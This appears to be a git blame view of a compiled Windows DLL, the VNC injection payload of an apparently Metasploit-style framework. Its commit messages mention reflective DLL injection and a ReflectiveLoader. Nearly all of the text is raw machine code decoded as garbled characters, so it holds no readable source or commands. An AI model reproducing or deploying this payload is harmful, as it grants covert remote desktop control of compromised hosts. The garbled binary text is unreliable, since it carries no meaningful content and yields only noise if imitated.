First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÿµ8þÿÿÿµ4þÿÿè”:‹ð‹úë7¶…xþÿÿPèÿ1Y…Àtr‹µ4þÿÿ‹½8þÿÿÿµxþÿÿ¤÷ÁæèãòÿÿY‰…xþÿÿ‹…xþÿÿÿ…XþÿÿƒÀЙðúƒ½Lþÿÿ‰µ4þÿÿ‰½8þÿÿtÿ�lþÿÿt5‹•dþÿÿÿ…tþÿÿèºòÿÿ‰…xþÿÿéÿÿÿÿµdþÿÿÿ�tþÿÿÿµxþÿÿè®òÿÿYY€½`þÿÿ‹½@þÿÿ„þ‹…4þÿÿ‹�8þÿÿ÷؃Ñ÷Ù‰…4þÿÿ‰�8þÿÿéÚ‹½@þÿÿ„Û…Áƒ½\þÿÿxt;ƒ½\þÿÿpt2¶…xþÿÿPè‡0Y…À„€ƒ½\þÿÿouƒ½xþÿÿ8}nÁçë,kÿ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ë'¶…xþÿÿPèÙ0Y…ÀtRÿµxþÿÿÁçèÍñÿÿY‰…xþÿÿÿ…Xþÿÿƒ½Lþÿÿ‹…xþÿÿ�|Ðtÿ�lþÿÿt5‹•dþÿÿÿ…tþÿÿè´ñÿÿ‰…xþÿÿéXÿÿÿÿµdþÿÿÿ�tþÿÿÿµxþÿÿè¨ñÿÿYY€½`þÿÿt÷߃½\þÿÿFuƒ¥Xþÿÿƒ½Xþÿÿ„€½jþÿÿu8ÿ…<þÿÿ‹µDþÿÿƒ½(þÿÿt‹…4þÿÿ‰‹…8þÿÿ‰F뀽kþÿÿt‰>ëf‰>‹½Hþÿÿþ…cþÿÿG‰½Hþÿÿë`<%u
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
�G€8%u‹øÿ…tþÿÿ‹Öè÷ðÿÿ‹ØG‰�xþÿÿ‰½Hþÿÿ;Ãul¶ÃPè2Y…Àt!ÿ…tþÿÿ‹ÖèÆðÿÿG‰½Hþÿÿ;ÈuGÿ�tþÿÿƒ½xþÿÿÿu€?%uD‹…Hþÿÿ€xnu8‹øŠ„À… òÿÿë*ÿµdþÿÿÿµxþÿÿè�ðÿÿYYëVSëóVPè€ðÿÿVSèyðÿÿƒÄƒ½0þÿÿu ÿµTþÿÿèÞzÿÿYƒ½xþÿÿÿu*‹…<þÿÿ…Àu 8…cþÿÿuƒÈÿ€½þÿÿt%‹�þÿÿƒapý뀽þÿÿt
‹…þÿÿƒ`pý‹…<þÿÿ[‹Mü_3Í^è>pÿÿÉÃ-¤t"ƒètƒè
t Ht3ÀøøøøËÿVW‹ðh3ÿ�FWPèUÿÿ3À·È‹Á‰~‰~‰~ Áá Á�~«««¹�çƒÄ �F+οŠˆ@Ou÷�†¾Šˆ@Nu÷_^ËÿU‹ì�ì¡Dá3ʼnEüSW�…èúÿÿPÿvÿèP¿…À„û3Àˆ„üþÿÿ@;ÇrôŠ…îúÿÿÆ…üþÿÿ „Àt.��ïúÿÿ¶È;Èw+Á@P�”
Fixes a crash on exit with vnc reflective dll injection, patch from Stephen Fewer
2009-03-23 05:17:40 +00:00
üþÿÿj Rè’~ÿÿƒÄ CŠC„ÀuØjÿv �…üúÿÿÿvPW�…üþÿÿPjjè83ÛSÿv�…üýÿÿWPW�…üþÿÿPWÿv Sèy ƒÄDSÿv�…üüÿÿWPW�…üþÿÿPhÿv SèT ƒÄ$3À·ŒEüúÿÿöÁt€LŠŒüýÿÿëöÁt€L ŠŒüüÿÿˆŒëÆ„@;Çr¾ëV�†Ç…äúÿÿŸÿÿÿ3É)…äúÿÿ‹•äúÿÿ�„Ð�Z ƒûw €LŠÑ€Â ëƒúw€L ŠÑ€ê ˆëÆA;Ïr‹Mü_3Í[ènÿÿÉÃj hð¦èÄÿÿèܾÿÿ‹ø¡´ì…Gptƒlt‹wh…öuj è|œÿÿY‹Æè5ÄÿÿÃj
èOÐÿÿYƒeü‹wh‰uä;5¸ët6…ötVÿQ…Àu�þ�çtVèëwÿÿY¡¸ë‰Gh‹5¸ë‰uäVÿQÇEüþÿÿÿè뎋uäj
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
èÏÿÿYËÿU‹ìƒìS3ÛS�Mðèõ˜ÿÿ‰´ƒþþuÇ´ÿàP8]ütE‹Møƒapýë<ƒþýuÇ´ÿäPëÛƒþüu‹Eð‹@Ç´ëÄ8]üt‹Eøƒ`pý‹Æ[ÉËÿU‹ìƒì ¡Dá3ʼnEüS‹] V‹uWèdÿÿÿ‹ø3ö‰};þu‹Ãè·üÿÿ3Àé�‰uä3À9¸Àë„‘ÿEäƒÀ0=ðrç�ÿèý„p�ÿéý„d·ÇPÿÜP…À„R�EèPWÿèP…À„3h�CVPè²{ÿÿ3ÒBƒÄ ‰{‰s 9Uè†ø€}î„Ï�uɄ¶Fÿ¶Éé¦h�CVPèk{ÿÿ‹MäƒÄ kÉ0‰uà�±Ðë‰uäë*ŠF„Àt(¶>¶Àë‹EàŠ€¼ëD;¶FG;øvê‹}FF€>uÑ‹uäÿEàƒÆƒ}à‰uäré‹Ç‰{ÇCègûÿÿj‰C �C�‰ÄëZf‹1Af‰0A@@Juó‹óè×ûÿÿé·þÿÿ€L@;ÁvöFF€~ÿ…4ÿÿÿ�C¹þ€@Iuù‹Cèûÿÿ‰C ‰Së‰s3À·È‹ÁÁá Á�{«««ë¨95´…XþÿÿƒÈÿ‹Mü_^3Í[èkÿÿÉÃjh§èÁÿÿƒMàÿèÓ»ÿÿ‹ø‰}ÜèÜüÿÿ‹_h‹uèuýÿÿ‰E;C„Wh è)ÆÿÿY‹Ø…Û„F¹ˆ‹wh‹ûó¥ƒ#Sÿuè¸ýÿÿYY‰Eà…À…ü‹uÜÿvhÿQ…Àu‹Fh=�çtPèÇtÿÿY‰^hS‹=Qÿ×öFp…êö´ì…Ýj
èÐÌÿÿYƒeü‹C£Ä‹C£È‹C £Ì3À‰Eäƒø}f‹LCf‰ E¸@ëè3À‰Eä=}
ŠLˆˆ°é@ëé3À‰Eä=}ŠŒˆˆ¸ê@ëæÿ5¸ëÿQ…Àu¡¸ë=�çtPètÿÿY‰¸ëSÿ×ÇEüþÿÿÿèë0j
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
èIËÿÿYÃë%ƒøÿu �û�çtSèØsÿÿYè›ÄÿÿÇëƒeà‹EàèпÿÿÃ=ÐujýèVþÿÿYÇÐ3ÀËÿU‹ìSV‹u‹†¼3ÛW;Ãto=èîth‹†°;Ãt^9uZ‹†¸;Ãt9uPè_sÿÿÿ¶¼è'4YY‹†´;Ãt9uPè>sÿÿÿ¶¼èÁ3YYÿ¶°è&sÿÿÿ¶¼èsÿÿYY‹†À;ÃtD9u@‹†Ä-þPèúrÿÿ‹†Ì¿€+ÇPèçrÿÿ‹†Ð+ÇPèÙrÿÿÿ¶ÀèÎrÿÿƒÄ�¾Ô‹=(ît9˜´uPè§1ÿ7è§rÿÿYY�~PÇE�ø¸ìt‹;Ãt 9uPè‚rÿÿY9_üt‹G;Ãt 9uPèkrÿÿYƒÇÿMuÇVè\rÿÿY_^[]ËÿU‹ìSV‹5QW‹}WÿÖ‹‡°…ÀtPÿÖ‹‡¸…ÀtPÿÖ‹‡´…ÀtPÿÖ‹‡À…ÀtPÿÖ�_PÇE�{ø¸ìt ‹…ÀtPÿÖƒ{üt
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹C…ÀtPÿÖƒÃÿMuÖ‹‡Ô´PÿÖ_^[]ËÿU‹ìW‹}…ÿ„ƒSV‹5QWÿÖ‹‡°…ÀtPÿÖ‹‡¸…ÀtPÿÖ‹‡´…ÀtPÿÖ‹‡À…ÀtPÿÖ�_PÇE�{ø¸ìt ‹…ÀtPÿÖƒ{üt
vncinject payload
2005-12-12 07:07:19 +00:00
‹C…ÀtPÿÖƒÃÿMuÖ‹‡Ô´PÿÖ^[‹Ç_]Ã…ÿt7…Àt3V‹0;÷t(W‰8èÁþÿÿY…ötVèEÿÿÿƒ>Yu�þÀìtVèYýÿÿY‹Ç^Ã3ÀÃj h0§è±¼ÿÿèp·ÿÿ‹ð¡´ì…Fpt"ƒ~ltèY·ÿÿ‹pl…öuj è •ÿÿY‹ÆèļÿÿÃj èÞÈÿÿYƒeü�Fl‹=˜íèiÿÿÿ‰EäÇEüþÿÿÿèëÁj èÙÇÿÿY‹uäËÿU‹ì‹E…Àtƒè�8ÝÝuPè]pÿÿY]ËÿU‹ìƒì¡Dá3ʼnEüSV3ÛW‹ñ9ôu8SS3ÿGWhŒghSÿÌP…Àt‰=ôëÿŒQƒøxu
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
Çô9]~"‹M‹EI8t@;ËuöƒÉÿ‹E+ÁH;E}@‰E¡ôƒø„¬;Ĥƒø…̉]ø9] u‹‹@‰E ‹5ÐP3À9]$SSÿu•Àÿu�ÅPÿu ÿÖ‹ø;û„�~Cjà3ÒX÷÷ƒør7�D?=wèY3‹Ä;ÃtÇÌÌëPè‚nÿÿY;Ãt ÇÝ݃À‰Eôë‰]ô9]ô„>Wÿuôÿuÿujÿu ÿÖ…À„ã‹5ÌPSSWÿuôÿu ÿuÿ֋ȉMø;Ë„Â÷E t)9]„°;M�§ÿuÿuWÿuôÿu ÿuÿÖé�;Ë~Ejà3ÒX÷ñƒør9�D =wèš2‹ô;ótjÇÌ̃ÆëPèÀmÿÿY;Ãt ÇÝ݃À‹ðë3ö;ótAÿuøVWÿuôÿu ÿuÿÌP…Àt"SS9]uSSëÿuÿuÿuøVSÿu ÿÔP‰EøVè¸ýÿÿYÿuôè¯ýÿÿ‹EøYéY‰]ô‰]ð9]u‹‹@‰E9] u‹‹@‰E ÿuèñ/Y‰Eìƒøÿu3Àé!;E „ÛSS�MQÿuPÿu è0ƒÄ‰Eô;ÃtÔ‹5ØPSSÿuPÿu ÿuÿÖ‰Eø;Ãu3öé·~=ƒøàw8ƒÀ=wè„1‹ü;ûtÝÇÌ̃ÇëPèªlÿÿY;Ãt ÇÝ݃À‹øë3ÿ;ût´ÿuøSWèkrÿÿƒÄ ÿuøWÿuÿuôÿu ÿuÿÖ‰Eø;Ãu3öë%ÿu�EøÿuPWÿu ÿuìè^/‹ð‰uðƒÄ÷Þö#uøWè�üÿÿYëÿuÿuÿuÿuÿu ÿuÿØP‹ð9]ôt ÿuôèÝlÿÿY‹Eð;Ãt 9EtPèÊlÿÿY‹Æ�eà_^[‹Mü3ÍèqbÿÿÉËÿU‹ìƒìÿu�Mðèó�ÿÿÿu(�Mðÿu$ÿu ÿuÿuÿuÿuÿu è(üÿÿƒÄ €}üt‹MøƒapýÉËÿU‹ìƒìÿu �Mðè®�ÿÿ¶E‹Mð‹‰È·A%€€}üt‹MøƒapýÉËÿU‹ìjÿuè¹ÿÿÿYY]ËÿU‹ìƒìSÿu�Mèèb�ÿÿ‹]�C=w‹E苀ȷXëu‰]Á}�EèP‹E%ÿPèlÿÿÿYY…ÀtŠEjˆEøˆ]ùÆEúYë
vncinject payload
2005-12-12 07:07:19 +00:00
3Ɉ]øÆEùA‹Eèjÿpÿp�EüPQ�EøP�EèjPèR*ƒÄ …Àu8Eôt‹Eðƒ`pý3Àë·Eü#E €}ôt‹Mðƒapý[ÉËÿV¸Ì�¾Ì�W‹ø;Æs‹…ÀtÿЃÇ;þrñ_^ËÿV¸Ô�¾Ô�W‹ø;Æs‹…ÀtÿЃÇ;þrñ_^ËÿVW3ÿ�·¨íÿ6è›®ÿÿƒÇY‰ƒÿ(rè_^ËÿU‹ì‹E£ø£ü£ £ ]ËÿU‹ì‹E‹
,äV9Pt‹ñkö uƒÀ ;ÆrìkÉ M^;Ás9Pt3À]Ãÿ5 訮ÿÿYÃj hP§è_¶ÿÿ3ÿ‰}ä‰}Ø‹]ƒû Lt‹ÃjY+Át"+Át+Átd+ÁuDè~°ÿÿ‹ø‰}Ø…ÿuƒÈÿéa¾ø¡øë`ÿw\‹Óè]ÿÿÿ‹ðƒÆ‹ëZ‹Ãƒèt<ƒèt+HtèëºÿÿÇ3ÀPPPPPè—hÿÿƒÄ뮾 ¡ ë¾ü¡üë
¾ ¡ ÇEäPèä­ÿÿ‰EàY3Àƒ}à„Ø9Eàujè—�ÿÿ9EätPèéÁÿÿY3À‰Eüƒût
ƒû tƒûu‹O`‰MÔ‰G`ƒûu@‹Od‰MÐÇGdŒƒûu.‹
ä‰MÜ‹
$ä‹ äÊ9MÜ}‹MÜkÉ ‹W\‰DÿEÜëÛèL­ÿÿ‰ÇEüþÿÿÿèƒûuÿwdSÿUàYë‹]‹}؃}ätjèwÀÿÿYÃSÿUàYƒût
ƒû tƒûu‹EÔ‰G`ƒûu‹EЉGd3ÀèµÿÿËÿU‹ì‹E£ ]ËÿU‹ì‹E£ ]Ãjhp§è‘´ÿÿƒeüÿu ÿuÿÈP‰Eäë/‹Eì‹‹‰Eà3É=À”Á‹ÁËeè�}àÀujÿQƒeäÇEüþÿÿÿ‹Eä胴ÿÿËÿU‹ìV‹uVècPè8YY…Àt|è¶�ÿÿƒÀ ;ðu3Àëè¦�ÿÿƒÀ@;ðu`3À@ÿÐ÷F uNSW�<… ƒ?»u Sè ¹ÿÿY‰…Àu�Fj‰F‰X‰F‰Fë
‹?‰~‰>‰^‰^�N 3À_@[ë3À^]ËÿU‹ìƒ}t'V‹u ÷F tVè
’ÿÿ�f ÿîÿÿƒfƒ&ƒfY^]ÃjTh�§èa³ÿÿ3ÿ‰}ü�EœPÿÀPÇEüþÿÿÿj@j ^VèʸÿÿYY;Ç„£€ ‰5` �ˆë0Æ@ƒÿÆ@
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‰xÆ@$Æ@%
Æ@&
‰x8Æ@4ƒÀ@‹
€ �Á;ÁrÌf9}΄
‹EÐ;Ç„ÿ‹8�X�;‰Eä¾;þ|‹þÇEàë[j@j è<¸ÿÿYY…ÀtV‹Mà� �€ ‰ƒ`  ��ë*Æ@ƒÿÆ@
vncinject payload
2005-12-12 07:07:19 +00:00
ƒ`€`$€Æ@%
Æ@&
ƒ`8Æ@4ƒÀ@‹Ö;ÂrÒÿEà9=` |�ë‹=` ƒeà…ÿ~m‹E䋃ùÿtVƒùþtQŠ¨tK¨u QÿQ…Àt<‹uà‹ÆÁøƒæÁæ4…€ ‹E䋉ŠˆFh �F PèXýÿÿYY…À„ÉÿFÿEàCƒEä9}à|“3Û‹óÁæ5€ ‹ƒøÿt ƒøþt€N€ërÆF�…ÛujöXë
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
‹ÃH÷ØÀƒÀõPÿ|P‹øƒÿÿtC…ÿt?WÿQ…Àt4‰>%ÿƒøu€N@ë ƒøu€Nh �F PèÂüÿÿYY…Àt7ÿFë
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
€N@ÇþÿÿÿCƒûŒgÿÿÿÿ5` ÿÌQ3Àë3À@ËeèÇEüþÿÿÿƒÈÿè_±ÿÿËÿVW¾€ ‹>…ÿt1�‡ëƒt
�G PÿœQ‹ƒÇ@;ørâÿ6èeÿÿƒ&YƒÆ�þ€ |¾_^ËÿU‹ì‹EV3ö;Æuè³µÿÿVVVVVÇèacÿÿƒÄƒÈÿë‹@^]Ãjh°§è�°ÿÿ3Û‰]äjèè¼ÿÿY‰]üj_‰}à;=À}W‹÷Á桨 Æ9tD‹ö@ ƒtPè¼’ÿÿYƒøÿtÿEäƒÿ|(¡¨ ‹ƒÀ PÿœQ¡¨ ÿ4èWdÿÿY¡¨ ‰GëžÇEüþÿÿÿè ‹EäèI°ÿÿÃj艻ÿÿYËÿU‹ì¸äèGŽÿÿ¡Dá3ʼnEü‹E V3ö‰…4åÿÿ‰µ8åÿÿ‰µ0åÿÿ9uu3Àéé;Æu'èôÿÿ‰0è©´ÿÿVVVVVÇèWbÿÿƒÄƒÈÿé¾SW‹}‹ÇÁø�4…€ ‹ƒçÁçÇŠX$ÛÐû‰µ(åÿÿˆ�'åÿÿ€ût€ûu0‹M÷ÑöÁu&èZ´ÿÿ3ö‰0è>´ÿÿVVVVVÇèìaÿÿƒÄéCö@ tjjjÿuè?ƒÄÿuèY…À„�‹öD€„�è´©ÿÿ‹@l3É9H�…åÿÿ”ÁP‹ÿ4‰� åÿÿÿhQ…À„`3É9� åÿÿt„Û„Pÿ¼P‹�4åÿÿ‰…åÿÿ3À‰…<åÿÿ9E†B‰…DåÿÿŠ…'åÿÿ„À…gŠ ‹µ(åÿÿ3À€ù
”À‰… åÿÿ‹ǃx8tŠP4ˆUôˆMõƒ`8j�EôPëK¾ÁPè9öÿÿY…Àt:‹�4åÿÿ+ËM3À@;Ȇ¥j�…@åÿÿSPèèƒÄ ƒøÿ„±Cÿ…DåÿÿëjS�…@åÿÿPèÄƒÄ ƒøÿ„�3ÀPPj�MôQj��@åÿÿQPÿµåÿÿCÿ…DåÿÿÿÔP‹ð…ö„\j�…<åÿÿPV�EôP‹…(åÿÿ‹ÿ4ÿtP…À„)‹…Dåÿÿ‹�0åÿÿÁ9µ<åÿÿ‰…8åÿÿŒƒ½ åÿÿ„Íj�…<åÿÿPj�EôP‹…(åÿÿ‹ÆEô
ÿ4ÿtP…À„Ѓ½<åÿÿŒÏÿ…0åÿÿÿ…8åÿÿéƒ<t<u!·33Éfƒþ
”ÁCCƒ…Dåÿÿ‰µ@åÿÿ‰� åÿÿ<t<uRÿµ@åÿÿè÷%Yf;…@åÿÿ…hƒ…8åÿÿƒ½ åÿÿt)j
XP‰…@åÿÿèÊ%Yf;…@åÿÿ…;ÿ…8åÿÿÿ…0åÿÿ‹E9…Dåÿÿ‚ùýÿÿé'‹Šÿ…8åÿÿˆT4‹‰D8é3É‹Çö@€„¿‹…4åÿÿ‰�@åÿÿ„Û…ʉ…<åÿÿ9M† 답(åÿÿ‹�<åÿÿƒ¥Dåÿÿ+�4åÿÿ�…Håÿÿ;Ms9‹•<åÿÿÿ…<åÿÿŠA€ú
uÿ…0åÿÿÆ
@ÿ…Dåÿÿˆ@ÿ…Dåÿÿ�½Dåÿÿÿr‹Ø�…Håÿÿ+Øj�…,åÿÿPS�…HåÿÿP‹ÿ4ÿtP…À„B‹…,åÿÿ…8åÿÿ;ÃŒ:‹…<åÿÿ+…4åÿÿ;E‚Lÿÿÿé ‰…Dåÿÿ€û…Ñ9M†M답(åÿÿ‹�Dåÿÿƒ¥<åÿÿ+�4åÿÿ�…Håÿÿ;MsF‹•Dåÿÿƒ…Dåÿÿ·AAfƒú
uƒ…0åÿÿj
[f‰@@ƒ…<åÿÿƒ…<åÿÿf‰@@�½<åÿÿþrµ‹Ø�…Håÿÿ+Øj�…,åÿÿPS�…HåÿÿP‹ÿ4ÿtP…À„b‹…,åÿÿ…8åÿÿ;ÃŒZ‹…Dåÿÿ+…4åÿÿ;E‚?ÿÿÿé@9M†|‹�Dåÿÿƒ¥<åÿÿ+�4åÿÿj�…Hùÿÿ^;Ms<‹•Dåÿÿ·µDåÿÿÎfƒú
uj
[f‰Æµ<åÿÿµ<åÿÿf‰Æ�½<åÿÿ¨r¿3öVVhU
Replaced with working DLL
2006-08-01 01:56:23 +00:00
��ðëÿÿQ��Hùÿÿ+Á™+ÂÑøP‹ÁPVhéýÿÔP‹Ø;Þ„—j�…,åÿÿP‹Ã+ÆP�„5ðëÿÿP‹…(åÿÿ‹ÿ4ÿtP…Àt µ,åÿÿ;ÞËë ÿŒQ‰…@åÿÿ;Þ\‹…Dåÿÿ+…4åÿÿ‰…8åÿÿ;E‚
vncinject payload
2005-12-12 07:07:19 +00:00
ÿÿÿë?j��,åÿÿQÿuÿµ4åÿÿÿ0ÿtP…Àt‹…,åÿÿƒ¥@åÿÿ‰…8åÿÿë ÿŒQ‰…@åÿÿƒ½8åÿÿulƒ½@åÿÿt-j^9µ@åÿÿuè1®ÿÿÇ è9®ÿÿ‰0ë?ÿµ@åÿÿè=®ÿÿYë1‹µ(åÿÿ‹öD@t‹…4åÿÿ€8u3Àë$èñ­ÿÿÇèù­ÿÿƒ ƒÈÿë ‹…8åÿÿ+…0åÿÿ_[‹Mü3Í^è¶RÿÿÉÃjhЧ軨ÿÿ‹Eƒøþuè½­ÿÿƒ 袭ÿÿÇ ƒÈÿé�3ÿ;Ç|;` r!è”­ÿÿ‰8èz­ÿÿÇ WWWWWè([ÿÿƒÄëÉ‹ÈÁù��€ ‹ðƒæÁæ‹ ¾L1ƒát¿Pèp‰ÿÿY‰}ü‹öD0tÿuÿu ÿuè.øÿÿƒÄ ‰Eäëè­ÿÿÇ è­ÿÿ‰8ƒMäÿÇEüþÿÿÿè ‹Eäè;¨ÿÿÃÿu躉ÿÿYÃjhð§èߧÿÿ‹EƒøþuèάÿÿÇ ƒÈÿéª3Û;Ã|;` rè­¬ÿÿÇ SSSSSè[ZÿÿƒÄëЋÈÁù�<�€ ‹ðƒæÁ拾LƒátÆP裈ÿÿY‰]ü‹öDt1ÿuèˆÿÿYPÿHQ…Àu ÿŒQ‰Eäë‰]ä9]ätèL¬ÿÿ‹Mä‰è/¬ÿÿÇ ƒMäÿÇEüþÿÿÿè ‹EäèZ§ÿÿÃÿuèÙˆÿÿYËÿU‹ìV‹uWVè°‡ÿÿYƒøÿtP¡€ ƒþu ö€„u ƒþuö@Dtjè…‡ÿÿj‹øè|‡ÿÿYY;ÇtVèp‡ÿÿYPÿ€Q…Àu
ÿŒQ‹øë3ÿVè̆ÿÿ‹ÆÁø‹…€ ƒæÁæYÆD0…ÿt W蜫ÿÿYƒÈÿë3À_^]Ãjh¨èb¦ÿÿ‹Eƒøþuèd«ÿÿƒ èI«ÿÿÇ ƒÈÿéŽ3ÿ;Ç|;` r!è;«ÿÿ‰8è!«ÿÿÇ WWWWWèÏXÿÿƒÄëÉ‹ÈÁù��€ ‹ðƒæÁæ‹ ¾L1ƒát¿Pè‡ÿÿY‰}ü‹öD0tÿuèËþÿÿY‰EäëèƪÿÿÇ ƒMäÿÇEüþÿÿÿè ‹Eäèñ¥ÿÿÃÿuèp‡ÿÿYËÿU‹ìV‹u‹F ¨ƒt¨tÿvè¸Yÿÿ�f ÷ûÿÿ3ÀY‰‰F‰F^]Ãj h0¨èd¥ÿÿ3Û‰]ä3À‹u;ó•À;Ãu èHªÿÿÇSSSSSèöWÿÿƒÄƒÈÿ鯋Eƒøt ;Ãtƒø@uÏ;Ãtƒø@u‹}�Gþ=ýÿÿvë·‹}ƒçþ‰uVèi‚ÿÿY‰]üVèvƒÿÿVèHÿÿÿYY�f óÂÿÿ‹N öEt ƒÉ�Fj_ë-‹E ;Ãu WèªÿÿY;Ãu ÿЃMäÿë�N ë �ɉN ‰~‰F‰‰^ÇEüþÿÿÿè ‹Eäè¤ÿÿÃÿuèW‚ÿÿYÃ=ÐuèÚäÿÿV‹5ÜW3ÿ…öuƒÈÿé <=tGVè?SÿÿY�tŠ„ÀuêjGW蹩ÿÿ‹øYY‰=¬…ÿtË‹5ÜSëBVèSÿÿ‹ØC€>=Yt1jSè‹©ÿÿYY‰…ÀtNVSPèA«ÿÿƒÄ …Àt3ÀPPPPPèpUÿÿƒÄƒÇó€>u¹ÿ5ÜèùWÿÿƒ%܃'ÇÄ3ÀY[_^Ãÿ5¬èÓWÿÿƒ%¬ƒÈÿëä‹ÿU‹ìQ‹MS3ÀV‰‹ò‹U Ç9Et ‹]ƒE‰‰Eü€>"u3À9Eü³"”ÀF‰Eüë<ÿ…ÒtŠˆB‰U Š¶ÃPFèpY…Àtÿƒ} t
‹M ŠÿE ˆF‹U ‹M„Ût2ƒ}üu©€û t€û uŸ…ÒtÆBÿƒeü€>„éŠ< t< uFëóNëã€>„Ѓ}t ‹EƒE‰ÿ3ÛC3ÉëFA€>\tù€>"u&öÁuƒ}üt �F€8"u‹ðë
3À3Û9Eü”À‰EüÑé…ÉtI…ÒtÆ\Bÿ…Éuñ‰U Š„ÀtUƒ}üu< tK< tG…Ût=¾ÀP…Òt#è‹Y…Àt
Š‹M ÿE ˆFÿ‹M ŠÿE ˆë
èhY…ÀtFÿÿ‹U FéVÿÿÿ…ÒtÆB‰U ÿ‹Méÿÿÿ‹E^[…Àtƒ ÿÉËÿU‹ìƒì S3ÛVW9ÐuèVâÿÿh¾@ VSˆD
ÿœP¡¤ ‰5¼;Ãt‰Eü8u‰uü‹Uü�EøPSS�}ôè
þÿÿ‹EøƒÄ =ÿÿÿ?sJ‹MôƒùÿsB‹øÁç�;Ár6P輦ÿÿ‹ðY;ót)‹Uü�EøPþWV�}ôèÉýÿÿ‹EøƒÄ H£ ‰5¤3ÀëƒÈÿ_^[ÉËÿU‹ì¡H
ƒì SV‹5¨QW3Û3ÿ;Ãu.ÿÖ‹ø;ût ÇH
ë#ÿŒQƒøxu
jX£H
ë¡H
ƒø…�;ûuÿÖ‹ø;ûu3ÀéÊ‹Çf9t@@f9uù@@f9uò‹5ÔPSSS+ÇSÑø@PWSS‰EôÿÖ‰Eø;Ãt/Pèâ¥ÿÿY‰Eü;Ãt!SSÿuøPÿuôWSSÿÖ…Àu ÿuüè®TÿÿY‰]ü‹]üWÿ¤Q‹Ãë\ƒøt;Ãu‚ÿPQ‹ð;ó„rÿÿÿ8t
@8uû@8uö+Æ@P‰Eøè{¥ÿÿ‹øY;ûu VÿLQéEÿÿÿÿuøVWèåTÿÿƒÄ VÿLQ‹Ç_^[ÉËÿU‹ìƒì¡DáƒeøƒeüSW¿Næ@»»ÿÿ;Çt
…Ãt ÷УHáë`V�EøPÿ$Q‹uü3uøÿLP3ðÿ`Q3ðÿ°Q3ð�EðPÿ¬Q‹Eô3Eð3ð;÷u¾Oæ@»ë …óu‹ÆÁà ð‰5Dá÷Ö‰5Há^_[ÉÃÌÌSVW‹T$‹D$‹L$URPQQh$édÿ5¡Dá3ĉD$d‰%‹D$0‹X‹L$,3‹p ƒþþt;‹T$4ƒúþt;òv.�4v�\³‹ ‰H ƒ{uÌh‹Cè
¹‹Cèë°d�ƒÄ_^[ËL$÷A¸t3‹D$‹H3Èè­HÿÿU‹hÿp ÿpÿpè>ÿÿÿƒÄ ]‹D$‹T$‰¸ÃU‹L$‹)ÿqÿqÿq(èÿÿÿƒÄ ]ÂUVWS‹ê3À3Û3Ò3ö3ÿÿÑ[_^]Ëê‹ñ‹Ájèg3À3Û3É3Ò3ÿÿæU‹ìSVWjjhËéQèC$_^[]ÃU‹l$RQÿt$è´þÿÿƒÄ ]‹ÿU‹ì3À@ƒ}u3À]ÃÌÌÌU‹ìSVWUjjhêÿuèú#]_^[‹å]ËL$÷A¸t2‹D$‹Hü3ÈèµGÿÿU‹h‹P(R‹P$RèƒÄ]‹D$‹T$‰¸ÃSVW‹D$UPjþhêdÿ5¡Dá3ÄP�D$d£‹D$(‹X‹p ƒþÿt:ƒ|$,ÿt;t$,v-�4v‹ ³‰L$ ‰H ƒ|³uh‹D³èI‹D³è_ë·‹L$d‰
ƒÄ_^[Ã3Àd‹
�yêu‹Q ‹R 9Qu¸ÃSQ»îë SQ»î‹L$ ‰K‰C‰k UQPXY]Y[ÂÿÐÃj hP¨èÅœÿÿ‹M3ÿ;Ïv.jàX3Ò÷ñ;E À@u褡ÿÿÇ WWWWWèROÿÿƒÄ3ÀéÕ¯M ‹ñ‰u;÷u3öF3Û‰]äƒþàwiƒ=„ uKƒÆƒæð‰u ‹E;� w7jè·¨ÿÿY‰}üÿuè½°ÿÿY‰EäÇEüþÿÿÿè_‹]ä;ßtÿuWSèoUÿÿƒÄ ;ßuaVjÿ5¬ÿ,Q‹Ø;ßuL9=°t3Vè~¢ÿÿY…À…rÿÿÿ‹E;Ç„PÿÿÿÇ éEÿÿÿ3ÿ‹u jè[§ÿÿYÃ;ßu
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
‹E;ÇtÇ ‹Ãèù›ÿÿËÿU‹ì‹M S3Û;Ëv(jà3ÒX÷ñ;Esè� ÿÿSSSSSÇ è=NÿÿƒÄ3ÀëA¯MVW‹ñ9]t ÿuè¢ÿÿY‹ØVÿuè׃ÿÿ‹øYY…ÿt;Þs+óVjßSèŽTÿÿƒÄ ‹Ç_^[]ËÿU‹ìƒìSVWèZ“ÿÿƒeüƒ=ˆ
‹Ø…Žh oÿ”P‹ø…ÿ„*‹5�PhoWÿÖ…À„P褒ÿÿÇ$ðnW£ˆ
ÿÖPè�’ÿÿÇ$ÜnW£Œ
vncinject payload
2005-12-12 07:07:19 +00:00
ÿÖPèz’ÿÿÇ$ÀnW£�
ÿÖPèe’ÿÿY£˜
…Àth¨nWÿÖPèM’ÿÿY£”
¡”
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
;ÃtO9˜
Replaced with working DLL
2006-08-01 01:56:23 +00:00
tGPè«’ÿÿÿ5˜
vncinject payload
2005-12-12 07:07:19 +00:00
‹ðèž’ÿÿYY‹ø…öt,…ÿt(ÿÖ…Àt�MøQj �MìQjPÿ×…ÀtöEôu �M ë9¡Œ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
;Ãt0Pè[’ÿÿY…Àt%ÿЉEü…Àt¡�
vncinject payload
